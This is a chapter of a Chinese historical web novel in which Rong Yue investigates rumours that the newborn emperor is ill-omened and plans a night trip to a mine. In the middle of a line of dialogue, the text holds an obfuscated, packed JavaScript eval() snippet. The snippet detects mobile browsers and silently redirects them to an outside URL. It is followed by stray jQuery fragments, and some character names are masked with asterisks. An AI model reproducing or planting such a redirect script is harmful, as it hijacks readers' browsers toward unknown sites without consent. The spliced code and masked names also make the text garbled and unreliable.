容玥和无虑走回营帐,无虑看着容玥欲言又止。
容玥坐在主位上打开手中的信封,看无虑的目光戏谑。
容玥扫了眼**漓的家书,没什么好看的,就是些甜腻的情话。
容玥将家书放在一侧,转而认真的看着无虑:“怎么了?有事儿就说。”
无虑:“容小姐,您真的……要去一趟矿洞吗?”
容玥思考片刻,“去一趟吧,总得给他们一个交代。”
无虑并不赞成,“矿洞危险,而且……没意义。”
容玥沉默下来。
是啊,矿洞危险,而且没意义。
去了除了浪费时间和人力,没任何作用。
就在这时,有人闯进了帐子。
容玥和无虑回头去看,发现来人是春江。
春江额前的碎发被冷汗浸湿,神色焦急,“容小姐,出事儿了!”
“什么?”
容玥“蹭——”的站起来,一拍桌子,“出什么事儿了?”
春江扬了扬刚收到的信息,“坊间传言,新帝不详。”
容玥接过春江手中的消息,仔细阅读。
信是从盛京城传来的。
已经闹得沸沸扬扬的。
坊间传闻,当今新帝出生之日,天雷滚滚,阴云密布。
新帝出生之后,先有盛京难得一遇的漫天大雪,后有地动,天灾不断。
更有人直呼,新帝出生带着不详,他是来风国索命的。
信后面附了张纸条。
容玥看过后,表情讽刺。
她和苏嫣儿不对付,和苏嫣儿有血海深仇,但她也做不到恨一个刚出生的孩子。
可见幕后之人心肠的冷硬。
“将这么大的罪名扣在一个刚出生的孩子身上,他们是真的迫不及待了。”
春江看了容玥一眼,试探道,“容小姐,您觉得是谁的动作?”
容玥沉吟片刻,摇了摇头,“不好说,肯定不是皇祖母的。”
太皇太后这个人,智多近妖,聪慧的无人能敌。她若是个男儿,容玥想,风国早就改姓了。
她应该不会做这么没品的事情。
自从萧妄驾崩那日,**漓和太皇太后生了龌龊嫌隙,**漓就有意识的分离自己的势力。
眼下的四个暗卫就是他的底牌——一张不为太皇太后所知的底牌。
无虑接过容玥的信仔细查看,看了半晌,突然道,“容小姐,你有没有觉得这个字迹很眼熟?”
“眼熟吗?”
容玥凑过去仔细查看,连春江也过来看了。
字条上的字苍劲有力。
其实容玥对字迹并不敏感。她的书法一半都是溯尘**赶鸭子上架学出来的。
但,说起纸条的话,容玥可就有话要说了。
容玥的手指点着纸条,“这人的书**底不浅,我看这支纸也不是普通的宣纸,这人既然在背后一直装神弄鬼,那就先从宣纸上开始查。”
无虑领命,“是。”
无虑出去安排了,容玥看着无虑的背影,突然询问春江。
“你们这一套暗卫体系很完善吗?”
春**容玥莫名的发问搞得莫名其妙,但他还是如实回答容玥。
“主子手下有许多支暗卫,说实话,我们都互不认识。我们只认识团队中的这几人。”
说不认识是假的,都是绝世高手,混个眼熟还是正常的。
但主子不让他们认识,那他们只能不认识。
“那无虑是……何人?”
说起这个,春江可就来劲了,“我们这些势力错综交叉。就好比我们春夏秋冬四人,是主子亲自培养的。无虑他们无字辈暗卫是当年贤妃娘娘为主子培养的人,属下记得主子手下还有一支专门收集消息的暗卫,不过那一支……是太后娘娘培养的势力,主子应该是不动他们了。”
听到这话,容玥愣了愣。
她知道这一支势力,当初**漓去东南,特地将玉佩交给她。
后来老夫人**,容玥还去求了他们一次。
容玥见识过他们传递消息的速度,也见识过他们的能耐。
**漓和他们划清界限,无异于斩断双臂,受人掣肘。
“主子在培养自己的势力了,只是需要时间。容小姐相信主子。”
容玥笑了笑:“我当然相信他。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15636063|172667||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
好了,不说这个了,春江,今晚你和我走一趟矿洞。”
春江:“今晚吗?容小姐,矿洞危险,您若是想去,不如趁早。”
容玥摇头,“不行,我要晚上去。”
知道容玥有保命的本事,春江也不在过多强求。
他应下来。
二人谈及此,胡彪进来了,春江迅速隐了身形,藏在暗处角落里。
胡彪身后还跟着送饭的小厮。
容玥看着这个年轻的官员愁眉不解,主动接过饭来,“胡大人,为什么发愁啊?”
胡彪摇摇头,一副高深莫测的模样,“容小姐,你说……明知道人**,但为什么非要死要见尸呢?”
容玥知道胡彪要说什么,“是有人拦住你了?”
胡彪点头,他突然转头去看容玥:“怎么?容小姐也遇到了?”
容玥只笑不语,坐在桌子上吃着饭。
“那你答应他们了吗?”
灾区没什么条件,他们的饭很简陋。
不过容玥也不是娇生惯养的人,吃着吃着就习惯了。
胡彪摇头:“如今是灾后重建的重要日子,哪有这么多人手啊。”
容玥点点头,“说的有道理。”
胡彪将饼子胡乱塞到嘴里,就着喝了口凉水,“对了容小姐,乔刺史说要抽空去矿洞看看,你要去吗?”
容玥心里突然有点不好的预感,“何时去看?去那干嘛?”
她嘴上这么说着,但心里还是很想去。
“这个下官也不知道。”胡彪塞了满满一嘴,转头就离开了,“外面离不开人,下官先去盯着。”
容玥突然想起富阳县令那封意味深长的奏折和方文屡次催促她的话来。
这个富阳县确实有秘密。
秘密可能还隐藏在矿洞中。
就是不知道矿洞里有何秘密了。
容玥想着,更加坚定了她去探一探的决心。
“春江,你去打听打听,那个乔刺史何时去矿洞。”
“是。”
“对了,再查查这个乔刺史。富阳县的水确实很深啊。”
“属下遵命。”
……